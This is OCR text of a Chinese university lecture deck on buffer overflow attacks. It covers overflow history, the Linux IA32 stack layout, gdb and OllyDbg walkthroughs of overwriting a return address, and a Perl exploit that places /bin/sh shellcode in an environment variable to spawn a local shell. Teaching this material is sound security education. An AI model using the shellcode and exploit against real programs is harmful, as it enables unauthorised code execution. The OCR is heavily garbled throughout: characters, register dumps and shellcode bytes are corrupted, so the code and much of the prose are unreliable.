![IT計(jì)算機(jī) 網(wǎng)絡(luò)安全第5章錦援沖區(qū)溢出攻擊_第1頁](http://file4.renrendoc.com/view12/M09/09/2E/wKhkGWYlDgCAYlS2AAETwbnuRXg890.jpg)
![IT計(jì)算機(jī) 網(wǎng)絡(luò)安全第5章錦援沖區(qū)溢出攻擊_第2頁](http://file4.renrendoc.com/view12/M09/09/2E/wKhkGWYlDgCAYlS2AAETwbnuRXg8902.jpg)
![IT計(jì)算機(jī) 網(wǎng)絡(luò)安全第5章錦援沖區(qū)溢出攻擊_第3頁](http://file4.renrendoc.com/view12/M09/09/2E/wKhkGWYlDgCAYlS2AAETwbnuRXg8903.jpg)
![IT計(jì)算機(jī) 網(wǎng)絡(luò)安全第5章錦援沖區(qū)溢出攻擊_第4頁](http://file4.renrendoc.com/view12/M09/09/2E/wKhkGWYlDgCAYlS2AAETwbnuRXg8904.jpg)
![IT計(jì)算機(jī) 網(wǎng)絡(luò)安全第5章錦援沖區(qū)溢出攻擊_第5頁](http://file4.renrendoc.com/view12/M09/09/2E/wKhkGWYlDgCAYlS2AAETwbnuRXg8905.jpg)
版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
網(wǎng)絡(luò)要公
(CS05154)
第5錦援沖區(qū)溢出攻擊
中國科考技木大學(xué)曾思華
次要均容
■緩沖區(qū)溢出歷史
1.Linuxx86平臺緩沖區(qū)溢出利用技術(shù)
1.Linux的內(nèi)存管理
2.緩沖區(qū)溢出的流程
3.緩沖區(qū)溢出的攻擊技術(shù)
2.Win32平臺緩沖區(qū)溢出利用技術(shù)
Win32平臺緩沖區(qū)溢出的流程
2.跳轉(zhuǎn)地址
3.遠(yuǎn)程緩沖區(qū)溢出演示
(參考《網(wǎng)絡(luò)滲透技術(shù)》)
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊2
57接沖日溢出歷史
■早在20世紀(jì)80年代初,國外就有人開始討
論溢出攻擊。
■1988年徜Morris蠕蟲,利用的攻擊方法之一
就是fingerd的緩沖區(qū)溢出,雖然這次蠕蟲
事件導(dǎo)致6000多臺機(jī)器被感染,損失在
$100000(十萬)至$10000000(一千萬)之
間,但是想沖區(qū)溢出問敢畀沒市得到人們
的重視。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊3
溢出歷史2
■1989年,SpaGord提交了一份關(guān)于運(yùn)行在VAX
機(jī)上的BSD版UNIX的fingerd的緩沖區(qū)溢出程
序的技術(shù)細(xì)節(jié)的分析報(bào)告,從而引起了一部分
安全人士對這個(gè)研究領(lǐng)域的重視。但畢竟僅有
少數(shù)人從事研究工作,對于公眾而言,沒有太
多具有學(xué)術(shù)價(jià)值的可用資料。另處來自
LophtheavyIndustries的Mudge寫了——篇如
何利用BSDI上的libc/syslog緩沖區(qū)溢出漏洞的
文章。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊4
■
溢出歷史3
■然而真正有教育意義的第一篇文章誕或點(diǎn)
1996耳,A/ejM0〃e在P/zracZ盛志第49期農(nóng)
表的裕次伸佃描述了L加戊系疣中枝的秸構(gòu)
和電何利用基于棧的穗沖區(qū)溢出。Aleph
One的質(zhì)獻(xiàn)迷忘才給出了電何與執(zhí)行一個(gè)
Shell的Exploit的方法,棄給這段代媽賦予
迦的名稱。這個(gè)稱呼沿用至今。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊5
演出歷史4
■<Shellcode,編譯一段使用系統(tǒng)調(diào)用
的簡單的C程序,遍過調(diào)曲器柚取匯編代
巡,并根據(jù)需要修改這段匯編代碼。
■AlephOne所給出的代碼可以在
x86/Linux,Sparc/Solaris和
Sparc/SunOS系統(tǒng)上正確地運(yùn)行。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊6
溢出歷史5
■受到AlephOne的文章的啟發(fā),在Internet
上出現(xiàn)了大量的文章講述如何利用緩沖區(qū)
溢出,以及如何寫一段所需的Exploit。
■1997年,Smith除合。瑞的文章,梃供了
電何點(diǎn)各種UNIX變種中與穗沖區(qū)溢出
Exploit更存佃的猾導(dǎo)原則。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊7
■
溢出歷史6
■Smith還收集了各種處理器體系結(jié)構(gòu)下的
SheUcode,包括AlephOne公布的和AIX和
HPUX的。他在文章中還談到了粗ix操作系
統(tǒng)的一些安全屬性,例如,SUID程序、
Linux棧結(jié)構(gòu)和功能等,并對安全編程進(jìn)行
了討論,還附帶了一些有問題的函數(shù)的列
表,并告訴人們?nèi)绾斡靡恍┫鄬Ω踩?/p>
代碼(包裹函數(shù))替代它們。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊8
溢出歷史7
Windows下的地址能造
■1998年來自“CultoftheDeadCow”的Dildog,
在Bugtrq郵件列表中以MicrosoftNetmeeting為例
子,詳細(xì)地介紹了如何利用Windows的溢出技術(shù)。
這篇文章最大的貢獻(xiàn)在于提出了利用棧媚針的方
法來完周能搭,返回地址固定地指向地址,不論
是在出問題的程序中還是在動(dòng)態(tài)鏈接庫中,該固
定地址包含了用來紂8里強(qiáng)省宣醫(yī)<轉(zhuǎn)的匯編指
令。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊9
溢出歷史8
使用系瘍核芯DLL中的能令來競感按制
■Dildog提供的方法避免了由于進(jìn)程線程的區(qū)
別而造成廢位置不固定。Dildog還有另夕卜一
篇經(jīng)典之作TheTaoofWindowsBuffer
Overflows。
■集大成者是DarkSpyrit,在1999年雜志第
55期上提出使用系統(tǒng)核心DLL中的指令來完
成控制的想法,將Windows下的溢出
Exploit推進(jìn)了實(shí)質(zhì)性的一步。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊10
淡出歷史9
■DavidLitchfield在1999年為WindowsNT平
臺創(chuàng)建了一個(gè)簡單的Shellcode。他詳細(xì)討
論了WindowsNT的進(jìn)程內(nèi)存和棧結(jié)構(gòu),以
及基于棧的緩沖區(qū)溢出,并以rasman.exe
作為研究的實(shí)例,給出了提升權(quán)限創(chuàng)建一
個(gè)本地Shell的匯編代碼。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊11
演出歷史10
基于難的援沖區(qū)溢出
■1999年wOOwOO安全小組的MattConover寫了基
于堆的緩沖區(qū)溢出的教程,開頭寫道:“基于
Heap/BSS的溢出在當(dāng)今的應(yīng)用程序中已經(jīng)相當(dāng)
普遍,但很少有被報(bào)道”。他注意到當(dāng)時(shí)的保護(hù)
方法,例如非執(zhí)行棧,不能防止基于堆的溢出,
并給出了大量的例子。
■緩沖區(qū)溢出攻擊技術(shù)已經(jīng)相當(dāng)成熟,是滲透測試
者主要的技術(shù)手段。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊12
5.2Linuxx86年臺
住沖區(qū)溢出利用技木
■1996年,AlephOne在Phrack雜志第49期
發(fā)表的“SmashingtheStackforFunand
Profit"是緩沖區(qū)溢出的經(jīng)典之作,第一次
有人這么詳細(xì)地介紹了緩沖區(qū)溢出產(chǎn)生的
原理和利用方法。
■這一節(jié)主要介紹Linux操作系統(tǒng)基于Intel
x86CPU的溢出技術(shù)。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊13
5.2.1Linux的的商管理
■x86是一款CISC(復(fù)雜指令集計(jì)算)芯片,由
于Intel的成功運(yùn)作,它成為當(dāng)今使用最廣泛
的CPU。
■32位的*86稱為1人32。LinuxIA32系統(tǒng)的進(jìn)
程在內(nèi)存中的結(jié)構(gòu)如下圖所示。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊14
programpath程序路徑
Oxbfffffff(高地址)
envstrings環(huán)境變量字串
其他參數(shù)的棧幀
main函數(shù)的棧幀1
被調(diào)用函數(shù)的棧幀J
個(gè)
堆(heap)
1
Uninitialised.bss
Initialised.data
main()
.text
其它函數(shù)
共享庫接口(低地址)
圖1limixIA32進(jìn)程在內(nèi)存中的結(jié)構(gòu)
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊15
三種熬據(jù)段
■有三種數(shù)據(jù)段:.text、.bss、.datao
.text(文本區(qū)),任何嘗試對該區(qū)的寫操作會導(dǎo)致
段違法出錯(cuò)。文本區(qū)存放了程序的代碼,包括
main函數(shù)和其他子函數(shù)。
.bss和data都是可寫的。它們保存全局變
量,data段包含已初始化的靜態(tài)變量,而上ss包
含未初始化的數(shù)據(jù)。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊16
錢
■堆棧是一個(gè)后進(jìn)先出(LIFO)數(shù)據(jù)結(jié)構(gòu),往低
地址增長,它保存本地變量、函數(shù)調(diào)用等信
息。
■隨著函數(shù)調(diào)用層數(shù)的增加,棧幀是一塊塊地
向內(nèi)存低地址方向延伸的,隨著進(jìn)程中函數(shù)
調(diào)用層數(shù)的減少,即各函數(shù)的返回,棧幀會
一塊塊地被遺棄而向內(nèi)存的高址方向回縮。
各函數(shù)的棧幀大小隨著函數(shù)的性質(zhì)的不同而
不等。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊17
堆
■堆的數(shù)據(jù)結(jié)構(gòu)和棧不同,它是先進(jìn)先出
(FIFO)的數(shù)據(jù)結(jié)構(gòu),往高地址增長,豆要
用未保落福本信息和劭態(tài)合配的變量。
■堆是通過malloc和free等內(nèi)存操作函數(shù)分配
和釋放的。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊18
■
極植的信息
■函數(shù)調(diào)用時(shí)所建立的棧幀包含了下面的信
息:
①函數(shù)的返回地址。IA32的返回地址都是存放在
被調(diào)用函數(shù)的棧幀里。
②調(diào)用函數(shù)的棧幀信息,即棧頂和棧底。
③名孤照的扃部變■臺配的變間O
④為被調(diào)用函數(shù)的參數(shù)分配的空間。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊19
5.22接沖區(qū)溢出的流程
■由于函數(shù)里局部變量的內(nèi)存分配是發(fā)生在棧幀里
的,所以如果在某一個(gè)函數(shù)里定義了緩沖區(qū)變
量,則這個(gè)緩沖區(qū)變量所占用的內(nèi)存空間是在該
函數(shù)被調(diào)用時(shí)所建立的棧幀里。
■由于對緩沖區(qū)的潛在操作(比如字串的復(fù)制)都是
從內(nèi)腐低征割之恥的,而內(nèi)存中所保存的函數(shù)調(diào)
用返回地址往往就在該緩沖區(qū)的上方(高地址)一
—這是由于棧的特性決定的,這就為覆民履數(shù)的
返回也址提供了條件。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊20
■
溢出的流程(2)
■當(dāng)我們有機(jī)會用大于目標(biāo)緩沖區(qū)大小的內(nèi)容
來向緩沖區(qū)進(jìn)行填充時(shí),就可以改寫函數(shù)保
存在函數(shù)棧幀中的返回地址,從而使程序的
執(zhí)行流程隨著我們的意圖而轉(zhuǎn)移。這是
馮?諾依曼計(jì)算機(jī)體系結(jié)構(gòu)的缺陷。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊21
IA32構(gòu)架撥沖區(qū)溢出的實(shí)例
#include<stdio.h>
#include<string.h>
charlargebuff[]二
”1234512345123451234512345==ABCD”;
intmain(void)
(
charsmallbuff[16];
strcpy(smallbuf^largebuff);
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊22
張備福本Linux下的程本褊鐸
■注意:用不同版本的空c編譯,上面largebu仟需要
的長度可能會有所不同。這是因?yàn)樵趚86的CPU
上,新舊gcc在對齊處理上實(shí)現(xiàn)不同,現(xiàn)在版本的
菖c默認(rèn)媒持16字節(jié)棧對齊,而且堆棧的局部變
里的分配也是默認(rèn)以16字節(jié)對齊。如下的兩個(gè)
gcc編譯參數(shù)可以改變編譯器對堆棧的處理情況:
□-mprefered-stack-boundary=n希望棧按2的n次的字節(jié)邊界對齊
-fomit-frame-pointer編譯生成的代碼不要STP(棧框架)
■用標(biāo)準(zhǔn)參數(shù)編譯c程序
□gcc-osimple_overflowsimple_overflow.c
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊23
在gdb碉曲環(huán)境中㈱行程序
■$gdbsimple_overflow
■(gdb)r
□Startingprogram:
/home/zeng^p/ns/simple_overflow
□ProgramreceivedsignalSIGSEGV,
Segmentationfault
□0x44434241in??()
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊24
發(fā)史段褶鎂時(shí)的寄卷器他
(gdb)ireg■在里的執(zhí)行結(jié)果是
eax0xbfffe620-1073748448gdb
ecx0xb7fb51ff-1208266241eip已經(jīng)被改為
edx0x80494411345178250x44434241,正好是
ebx0x42130a141108544020
esp0xbfffe6400xbfffe640ABCD倒過來,這是由
ebp0x3d3d3d350x3d3d3d35于IA32默認(rèn)字節(jié)序
esi0x400153601073828704
edi0x8048380134513536little_endiano
eip0x444342410x44434241■接下來用gdb反匯編跟
eflags0x2102822163330蹤程用,看看eip為仆
cs0x2335
ss0x2b43么會變?yōu)?。X44434241。
ds0x2b43
es0x2b43
fs0x00
gs0x3351
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊25
友匯編:晶版main
■(gdb)disasmain■0x08048340<main+24>:lea
■Dumpofassemblercodeforfunctionmain:0xffiffife8(%ebp),%eax
■0x08048328<main+0>:push%ebp■0x08048343<main+27>:push
■0x08048329<main+l>:mov%eax
%esp,%ebp■0x08048344<main+28>:call
■0x0804832b<main+3>:sub$0x18,%esp0x8048268<strcpy>
■0x0804832e<main+6>:and■0x08048349<main+33>:add
$0xfiffiffi),%esp$0x10,%esp
■0x08048331<main+9>:mov$0x0,%eax■0x0804834c<main+36>:leave
■0x08048336<main+14>:sub%eax,%esp■0x0804834d<main+37>:ret
■0x08048338<main+16>:sub$0x8,%esp■0x0804834e<main+38>:nop
■0x0804833b<main+19>:push■0x0804834f<main+39>:nop
$0x8049420■Endofassemblerdump.
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊26
微置斷點(diǎn)
執(zhí)行程星,左看執(zhí)行后的寄花器的他
■在簡微的人口和感興垂的假置被置斷點(diǎn)。
■(gdb)b*(main+O)〃森i簡微的人口不斷點(diǎn)
Breakpoint1at0x8048328
■(gdb)b*(main+28)〃森strcpy西數(shù)不斷點(diǎn)
Breakpoint2at0x8048344
■(gdb)r
Startingprogram:
/home/fpzeng/npt/ch02/2x2/simple_overflow
■Breakpoint1,0x08048328inmain()
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊27
(gdb)ireg
eax0x11
ecx0x420155541107383636
edx0x40016bc81073834952
ebx0x42130al41108544020
espOxbffiff63cOxbfflff63c
ebpOxbfffi658Oxbfiffi658
esi0x400153601073828704
edi0x8048380134513536
eip0x80483280x8048328
eflags0x2002462097734
灌意:寄卷器的值成系疣的運(yùn)行技態(tài)而陪帝系同
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊28
西何重看main落劇的返命池征?
(gdb)x/x$esp
Oxbffff63c:0x42015574(main函數(shù)的返回地址)
(gdb)x/2i0x42015574-3
0x42015571:caU刃x8(%ebp)
0x42015574:mov%eax,%ecx
(gdb)x/x$ebp+8
0xbffiff660:0x08048328(main函數(shù)的第1條語句)
■可以看到,在main函數(shù)的最開始設(shè)置斷點(diǎn)執(zhí)行后的esp指
向的內(nèi)容就是main函數(shù)的返回地址。我們的目標(biāo)就是覆蓋
這個(gè)地址,這樣在main函數(shù)返回的時(shí)候轉(zhuǎn)入我們的流程。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊29
gdb里單步猾令執(zhí)行,看福本的執(zhí)行流程
■(gdb)display/i$pc
■1:x/i$pc0x8048328<main>:
push%ebp■(gdb)
■(gdb)si■0x08048336inmain()
■0x08048329inmain()■1:x/i$pc0x8048336<main+14>:
sub%eax,%esp
■1:x/i$pc0x8048329<main+l>:
mov%esp,%ebp■(gdb)
■(gdb)■0x08048338inmain()
■0x0804832binmain()■1:x/i$pc0x8048338<main+16>:
sub$0x8,%esp
■1:x/i$pc0x804832b<main+3>:
sub$0x18,%esp■(gdb)
■(gdb)■0x0804833binmain()
■0x0804832einmain()■1:x/i$pc0x804833b<main+19>:
push$0x8049420
■1:x/i$pc0x804832e<main+6>:
and$OxfffiffflO,%esp■(gdb)
■(gdb)
■0x08048331inmain()
■1:x/i$pc0x8048331<main+9>:
mov$OxO,%eax
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊30
■
gcc默欣保持16室節(jié)核對齊
■gcc在編譯程序的時(shí)候,分配了0x18+0x8的空
間,這遠(yuǎn)遠(yuǎn)大于smallbufl^量16字節(jié)的大小。這
個(gè)前面已經(jīng)討論過了,是gcc默認(rèn)保持16字節(jié)棧
對齊導(dǎo)致的。
■(gdb)si
■0x08048340inmain():leaOxffifflfe8(%ebp),%eax
■(gdb)
■0x08048343inmain():push%eax
■(gdb)
■0x08048344inmain():call0x8048268<strcpy>
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊31
t看strcpy的參版
■繼續(xù)單步指令執(zhí)行,“call0x804834c”指令實(shí)
際就是調(diào)用strcpy函數(shù),看看它push的兩個(gè)參數(shù):
□(gdb)iregesp
□esp0xbfffl2900xbfflG90
□(gdb)x/x0xbffif290
□0xbffffi290:0xbffif2a0(smallbu任的地址)
□(gdb)x/x0xbffffi290+4
□0xbffffi294:0x08049420(largebufffl勺地址)
□(gdb)x/s0x08049420
□0x8049420<largebuff>:"1234512345123451234512345==ABCD"
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊32
實(shí)際演示
■壓棧的第一個(gè)參數(shù)是largebuff的地址,第二個(gè)是
smallbu任的地址,gcc給它分配的大小是
0xbffif2bc-0xbfffiQa0=0xlc,所以需要28個(gè)字節(jié)
才能正好覆蓋返回地址。
■執(zhí)行strcpy后,Oxb冊2bc已經(jīng)被覆蓋成
0x44434241。
■繼續(xù)執(zhí)行單卡指令到main的數(shù)返回,最后的ret指
令讓eip等于esp指向的內(nèi)容,并且esp等于esp+4。
■這時(shí)已經(jīng)變?yōu)榭梢钥刂频牡刂妨?,也就是說我
們前以拴制程序的流誣o
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊33
碉曲變點(diǎn)
■在3個(gè)地方設(shè)置斷點(diǎn)
1.第一條匯編語句:在此記下函數(shù)的返回地址
(A=esp的值)(會劭態(tài)變4口
2,調(diào)用strcpy對應(yīng)的匯編語句:記下smallbuf的起
始地址二B(會劭態(tài)變化八與A相減可以得到產(chǎn)生
緩沖區(qū)溢出所需的字節(jié)數(shù)二A-B
3.ret語句:查看esp的內(nèi)容,被修改的返回地址
(演東)
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊34
5.2.3接沖區(qū)溢出的攻擊技術(shù)
低地址
ebp高地址
esp
buffer返回地址上個(gè)函數(shù)的棧
NOPNOP……ShellCodeRET-?????RET
攻擊串之1
■緩沖區(qū)溢出的基本原理是在函數(shù)返回的時(shí)候控制eip,從
而執(zhí)行Shellcode,達(dá)到攻擊的目的。
■上面這種方法一般用于被溢出的緩沖區(qū)比較大,足以容納
Shellcode。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊35
.一
構(gòu)造攻擊率2
低地址
ebp高地址
esp
buffer返回地址上個(gè)函數(shù)的棧
RET-…RETNOPNOPShellCode
卜
攻擊串之2
■上面這種方法一般用于被溢出的變量比較小,不足以容納
shellcodeo
■但是這兩種方法shellcode的地址都沒法準(zhǔn)確的定位,傳
統(tǒng)的方法是通過調(diào)試技術(shù)獲得esp的值大概取值范圍,然
后加上偏移和在Shellcode前面加上大量nop指令(0x90)
來確保返回地址落入shellcode。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊36
■構(gòu)造攻擊率之3
杷shellcode改在環(huán)境變量里
■對于本地溢出,還有一種更好的辦法低地址(堆棧增長方向)
可以更精確定位shellcode地址。
■這種方法把shellcode放在環(huán)境變量里:堆棧數(shù)據(jù)
其他參數(shù)的棧幀E
低地址S
ebp高地址
esp環(huán)境變量P
buffer返回地址函數(shù)的棧…環(huán)境變量
程序路徑
RET……RETShellCodeOxbffffffc—?
卜0x00000000
OxcOOOOOOO―?
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊37
演示;環(huán)燒變量在堆棧中的住置
■gdbsimple_overflow頂位置
■b*(main)」/一
■x/20xOxbffiffifcZ
■Oxbfffiffifc:OxOOOOOOOOCannotaccessmemoryatOxcOOOOOOO
■x/20sOxb哪00(探測環(huán)境變量的起始
位置)
□由此可見,Linux系統(tǒng)的環(huán)境變量占的空間是很
大的,一般在1K以上,足于容納shellcode。
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊38
杷shellcode數(shù)在環(huán)境變量
確定返?池征
■用Oxbffiffifc減去程序路徑#include<stdio.h>
長度和后面的結(jié)束符0以#include<string.h>
及shellcode長度和后面的intmain(intargc,char
結(jié)束符0就可以精確得到*argvQ)
shellcode開始的地址。
■關(guān)鍵在于把shellcode放charvutabuff[16];
到環(huán)境變量中。strcpy(vuInbuff,argv[l]);
■有了這些信息,那么就很printf("\n%s\nn,vuInbuff);
容易寫出緩沖區(qū)溢出漏洞
getcharQ;/*fbrdebug*1
的攻擊方法,比如一個(gè)漏
洞程序如下:
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊39
#!/usr/bin/perl
##《網(wǎng)絡(luò)滲透技術(shù)》演示程序
#作者:san,alert7,eyas,watercloud
$shellcode=
n\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2^x2^x62\x69n.
n\x89\xe3\x52\x53\x89\xel\x8d\x42\x0b\xcd\x80n;
#修改以下代碼行
$path="/home/zeng^p/ns/vulnerablen;
$ret=Oxbfiffflfc-(length($path)+l)-
(length($shellcode)+1);
$new_retword=pack(T,$ret);
printf(H[+]UsingretshellcodeOx%x\nn,$ret);
%ENV=();$ENV{CC}=$sheUcode;
exec"$path”,$new_retwordx8;
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊40
獲得洋地shell
演示
■輸入perlexploit.pl
■則可以得到一個(gè)本地shell
sh-2.05b$
■在另一個(gè)terminal輸入
□psax|grepvulnerable
□gdbvulnerable11209(進(jìn)程ID號)
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊41
確定返?也恥的要直
■對于1、2兩種攻擊串,應(yīng)該在shellcode之
前加上大量的NOP,通過調(diào)試后猜測ret的
值。
■對于本地攻擊,將shellcode放在環(huán)境變量
中:
$ret=Oxbffffffc-(length($path)+l)
-(length($shellcode)+l);
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊42
5.3Win32平臺援沖區(qū)溪出利用技術(shù)
5.3.1Win32平臺緩沖區(qū)溢出#include<stdio.h>
的流程#include<string.h>
■同樣用上節(jié)Linux平臺用過charlargebuff[]=
的溢出演示程序:
M1234512345123456===
■編譯程序(VC6.0)=ABCDM;
□clsimple_overflow.cintmain(void)
■largebu任個(gè)字符串變量的
長度比Linux下的要短,這(
是因?yàn)閂C6編譯器并不像charsmallbuff[16];
現(xiàn)代版本的史c保持16字節(jié)strcpy(smallbuff,
棧對齊,而宴按照實(shí)際長largebuff);
度4字節(jié)對齊。}
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊43
用OHyDbg倜詼
simple_overflow
■在Win32平臺有很多優(yōu)秀的調(diào)試器,
OllyDbg簡單易用,強(qiáng)力推薦用它調(diào)試用戶
冬的程序,這里也用它進(jìn)行演示,如圖所
示(NextPPT)。
演示;實(shí)際操作
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊44
4
OllyDbg_5inple_o'rerflov.exe-[CPU-主線程.模塊-siaple.匯編窗口寄存器窗口
回文件理)查看⑦調(diào)試②插件也)選項(xiàng)建)窗口⑥幫助QPX
2]列X曰叫回二]凹臼TMljJTM-dWHid力打亞-jgz2nr
地址HEX數(shù)據(jù)I反匯虢注釋寄存器(MMX)7/<<<<
00401000fF-55PUSHEBPEAX00000000
004010018BECMOVEBP,ESPECX0012FFB0
0040100383EC10SUBESP.EBX7C95ED54ntdllyxt?mCallKet
004010066830504000PVSHsimpleo.00405030ASCII"123451234512345EBX7FPDFD00
0040100B8D45FOLEAEAX,DWOKDPTRSS[EBP-10]ESP0012FFC4
0040100E50PUSHEAXEBP0012FFF0
0040100FE80C000000CALLsimpleo.00401020ESI00000000
0040101483c408ADDESP,EDI00000000
004010178BE5MOVESP,EBP
EIF{00401110simple^,砥塊入口點(diǎn)〉
00如1019POPEBPCo
0040101AI§RETNP1ES002332倬0(JFFFFFFF)
AoCS001E32位0CFFFHFFF)
0040101CCCI11T3Z1SS002332位OlTFFFFFFF)
IXJ40101PCCIBT3SoDS002332位OfTFFFTFFF)
0040101ECCnrr3ToFS003B32位7FFDE000iFFF)
0040101FCC1NT3BoGS0000KIILL
00401020$57PUSHEDI___________Oo
004010218B7C2408MOVEDI,DWORDPTRSS:[ESP^6]LastErrERRDR.SUCCESS>00000000)
00401025yEB6AJMPSHORTsimple_。.00401091
EFL00000246QTO.HB.E.BE,WS,PE,GE.LE)
004010278DDE?si-
00401028A4DUA4MMO0000000000000000
0040102924DB24CHAR,$'MM10000000000000000
0040102A00DD00MM20000000000000000
0040102B00DB00MM30000000000000000
0040102C00DBuUMM40000000000000000
0040102D00DBMM50000000000000000
0040102E8BFFMOVEDI.EDI_____________MM60000000000000000
00401030r$8B4C2404MOVECX,DWORDPTRSS[ESP+4]MM70000000000000000
00401034.57PUSHEDI
00401035F7C103000000TESTECX,
0040103B.v74OF
0040103D>8A01堆棧窗口
0040103F41
ooqoioqo84co數(shù)據(jù)區(qū)窗口
本地調(diào)用來自G臭塊入口點(diǎn)X0AF
0012FFC4
0012FFC800000000
004050000000000000gOQOOjOO00g234000
0012FFCC00000000
00405010OU00000000000000g000000
0040502000000000000000GO1000000GO0012FFD07FFDF000
0040503031323334135313233134353132:3334353612345123451234560012FFD4822712廂
004050403D3D3D3D4!42434400oo00OOlOODO00GO==ABCD0012FFD80012FFC8
00ol:l00CO>OB0012FFDC00000000
004050507612400001000005000000vier.I..
00405060000000GOID0cl00C0104o00000100000000?.0012FFE0FFFFFFFFSEH璉尾部
00405070960000CO04000000000000OO58D0000CO?.??.0012FTO7C82B7D0SE處理程序
00405080080000GO,000000町8EooDO00GO0012FFE87C6123F0kem?1327C8123F0
00□??.
00405090ui.OCi00008Fm00CO0800000099ooi2mc00000000
oo一
OOIOSOAD90iji.00CO,080000,000000i9i00000012FFF000000000
,開始|GB四國函|命令提示符||]十OllyDbg-simple_ov...Q|D:\NsTest\chO2\2x3\.0您I9r00
女匯編代碼今折
■灰色選擇部分就是main函■00401000PUSHEBP
數(shù)的反匯編代碼。知Linux■00401001MOVEBP,ESP
下幾乎一樣,只是分配堆■00401003SUBESP,10
??臻g嚴(yán)格按照程序,不■00401006PUSH
像gcc會多分配幾個(gè)字節(jié),simple_o.00405030
但也會4字節(jié)對齊。;Ascn
■OllyDbg的左上部分是反匯nl234512345123456====ABCD”
編窗口,右上部分是寄存
器窗口,右下部分是堆棧■0040100BLEAEAX,DWORDPTR
窗口,左下部分是數(shù)據(jù)區(qū)SS:[EBP-10]
窗口,這個(gè)結(jié)讓人一目■0040100EPUSHEAX
了然,比起Linux/UNIX■0040100FCALL
下的gdb調(diào)試器直觀多了。simple_o.00401020;
■接下來了解一下Windows■00401014ADDESP,8
平臺下的溢出流程。把光■00401017MOVESP,EBP
標(biāo)放到執(zhí)行strcpy的那行:■00401019POPEBP
緩品鄭撇101ARETN
網(wǎng)絡(luò)安全(CS05154)46
看堆棧的變化
■然后按F4執(zhí)行到這里,這時(shí)堆棧內(nèi)容如下:
■0012FF680012FF70;smallbuf的地址
■0012FF6C00405030;largebuff&tl地址
ASCn"1234512345123456====ABCD"
■0012FF7040000061
■0012FF7400364988
■0012FF7800000000
■0012FF7C00401261返回至Usimple_o.00401261來自
simple_o.00401320
■0012FF800012FFC0
■0012FF84004011C4返回到simple_o.v模塊入口點(diǎn)>+0B4來自
simple_o.00401000
網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊47
strcpy后的致累
■按F8執(zhí)行strcpy操作,這時(shí)堆棧內(nèi)容內(nèi)容如卜:
■0012FF680012FF70ASCn"1234512345123456====ABCD"
■0012FF6C4)0405030ASCn"1234512345123456====ABCD"
■0012FF7。/34333231
0012FF7433323135
0012FF7832313534
0012FF7C36353433
0012FF803D3D3D3D
0012FF8444434241main。的返回地址被覆蓋
■寄存器ebp的內(nèi)容以及ebp+4保存的返回的地址都被覆蓋了。繼續(xù)按
F8單步執(zhí)行后面幾條指令
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
